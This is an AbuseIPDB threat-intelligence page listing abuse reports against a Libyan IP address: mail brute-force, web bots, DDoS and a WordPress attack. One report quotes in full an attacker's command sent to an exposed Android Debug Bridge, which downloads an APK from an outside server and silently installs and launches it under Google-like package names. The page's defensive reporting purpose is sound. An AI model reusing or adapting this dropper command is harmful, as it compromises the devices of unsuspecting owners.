JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 38.252.49.97

38.252.49.97 was found in our database!

This IP was reported 12 times. Confidence of Abuse is 41%: ?

41%

ISP	Giga for Telecommunication and Technology Limited
Usage Type	Fixed Line ISP
ASN	AS328539
Domain Name	giga.ly
Country	🇱🇾 Libya
City	Tripoli, Tripoli

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 38.252.49.97

Whois 38.252.49.97

IP Abuse Reports for 38.252.49.97:

This IP address has been reported a total of 12 times from 9 distinct sources. 38.252.49.97 was first reported on June 19th 2026, and the most recent report was 23 hours ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇩🇪 SCHAPPY	2026-10-16 06:40:02 (23 hours ago)	SMTP SASL authentication failed, blocked.	Email Spam
🇳🇱 maxxsense	2026-10-16 06:15:27 (1 day ago)	(postfix-unknown) Failed postfix unknown login with username [redacted] from 38.252.49.97 (LY/Libya/ ... show more (postfix-unknown) Failed postfix unknown login with username [redacted] from 38.252.49.97 (LY/Libya/-) show less	Hacking
🇸🇪 triplecode	2026-10-16 00:58:00 (1 day ago)	Reported from hMailServer	Hacking
🇺🇸 drewf.ink	2026-10-09 09:35:26 (1 week ago)	[09:35] Ran commands on an exposed Android Debug Bridge daemon: DIR=/data/local/tmp; cd $DIR 2>/dev/ ... show more [09:35] Ran commands on an exposed Android Debug Bridge daemon: DIR=/data/local/tmp; cd $DIR 2>/dev/null\|\|cd /sdcard 2>/dev/null\|\|cd /tmp 2>/dev/null\|\|cd /; rm -f s.apk; (curl -skL http://217.60.195.187/LjEZs/Services.apk -o s.apk\|\|toybox wget http://217.60.195.187/LjEZs/Services.apk -O s.apk\|\|wget http://217.60.195.187/LjEZs/Services.apk -O s.apk\|\|busybox wget http://217.60.195.187/LjEZs/Services.apk -O s.apk) 2>/dev/null; SZ=$(ls -l s.apk 2>/dev/null \| awk '{print $5}'); pm install -r -g s.apk >/dev/null 2>&1; cmd package install -r -g s.apk >/dev/null 2>&1; pm enable com.google.android.system.service >/dev/null 2>&1; am broadcast -a com.google.android.system.service.ENABLE_APP >/dev/null 2>&1; am start -n com.google.android.system.service/.TVOptimizer >/dev/null 2>&1; am start-foreground-service -n com.google.android.system.service/.MuhHeilong >/dev/null 2>&1; pm path com.google.android.system.service 2>/dev/null; echo SZ=$SZ show less	Hacking Exploited Host IoT Targeted
Anonymous	2026-10-02 08:59:48 (2 weeks ago)	2026-10-02T10:59:47.026826+02:00 host postfix/smtpd[172518]: warning: unknown[38.252.49.97]: SASL PL ... show more 2026-10-02T10:59:47.026826+02:00 host postfix/smtpd[172518]: warning: unknown[38.252.49.97]: SASL PLAIN authentication failed: authentication failure, [email protected] 2026-10-02T10:59:47.373889+02:00 host postfix/smtpd[172518]: lost connection after AUTH from unknown[38.252.49.97] 2026-10-02T10:59:47.373966+02:00 host postfix/smtpd[172518]: disconnect from unknown[38.252.49.97] ehlo=2 starttls=1 auth=0/1 commands=3/4 ... show less	Brute-Force
🇺🇸 鬼影233	2026-09-24 18:28:52 (3 weeks ago)	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Sa ... show more Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 show less	Bad Web Bot
🇺🇸 鬼影233	2026-09-09 02:11:01 (1 month ago)	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Sa ... show more Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0 show less	Bad Web Bot
🇺🇸 鬼影233	2026-09-03 11:15:21 (1 month ago)	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Sa ... show more Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 show less	Bad Web Bot
🇺🇸 kosada.com	2026-08-25 09:58:15 (1 month ago)	Web bot: denial-of-service flood	DDoS Attack Bad Web Bot
🇺🇸 kosada.com	2026-07-28 04:06:17 (2 months ago)	Web bot: denial-of-service flood	DDoS Attack Bad Web Bot
🇺🇸 stechusa	2026-07-02 11:15:52 (3 months ago)	ELEVATED_THREAT \| 237 IPs targeting /brand.html \| Facet request during elevated threat (facet_ratio= ... show more ELEVATED_THREAT \| 237 IPs targeting /brand.html \| Facet request during elevated threat (facet_ratio=0.94, unique_ips=418) \| Recv-Q=1489 bytes on ESTABLISHED connection (threshold=1000) show less	Bad Web Bot DDoS Attack
🇲🇽 octageeks.com	2026-06-19 04:17:13 (3 months ago)	Wordpress malicious attack:[octamissingdomain]	Web App Attack

Showing 1 to 12 of 12 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 157.230.218.106

🇳🇱 85.11.167.7

🇲🇱 197.155.176.80

🇷🇺 193.233.84.84

🇳🇱 193.47.62.69

🇧🇷 190.115.84.25

🇦🇿 185.143.197.45

🇮🇩 182.253.127.187

🇺🇸 147.185.132.33

🇺🇸 146.190.211.142

🇧🇩 103.186.219.182

🇺🇸 64.62.197.128

🇱🇹 62.60.130.253

🇵🇱 45.138.12.89

🇳🇱 45.74.59.58

🇺🇸 38.154.14.32

🇺🇸 35.174.17.196

🇧🇪 34.53.253.153

🇰🇷 14.63.217.156

🇮🇳 2405:201:a41a:1011:1c1e:5adf:e5c3:ca6